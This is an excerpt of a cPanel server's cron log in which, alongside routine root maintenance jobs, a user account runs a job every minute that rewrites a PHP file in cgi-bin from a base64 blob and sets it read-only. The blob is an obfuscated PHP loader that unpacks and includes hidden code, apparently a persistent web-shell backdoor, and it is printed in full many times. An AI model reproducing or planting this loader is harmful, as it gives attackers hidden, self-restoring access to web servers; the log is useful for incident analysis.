"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:29:01 server CROND[5710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:30:01 server CROND[5789]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  7 12:30:01 server CROND[5791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:30:01 server CROND[5792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:30:01 server CROND[5794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:30:01 server CROND[5793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 12:31:01 server CROND[5910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:32:01 server CROND[5969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:33:01 server CROND[6031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:34:01 server CROND[6195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:35:01 server CROND[6265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:35:01 server CROND[6266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:35:01 server CROND[6269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 12:35:01 server CROND[6267]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 12:35:01 server CROND[6279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:36:01 server CROND[6383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:37:01 server CROND[6447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:38:01 server CROND[6502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:39:01 server CROND[6655]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 12:39:01 server CROND[6656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:40:01 server CROND[6715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:40:01 server CROND[6716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:40:01 server CROND[6717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 12:40:01 server CROND[6718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:41:01 server CROND[6830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LC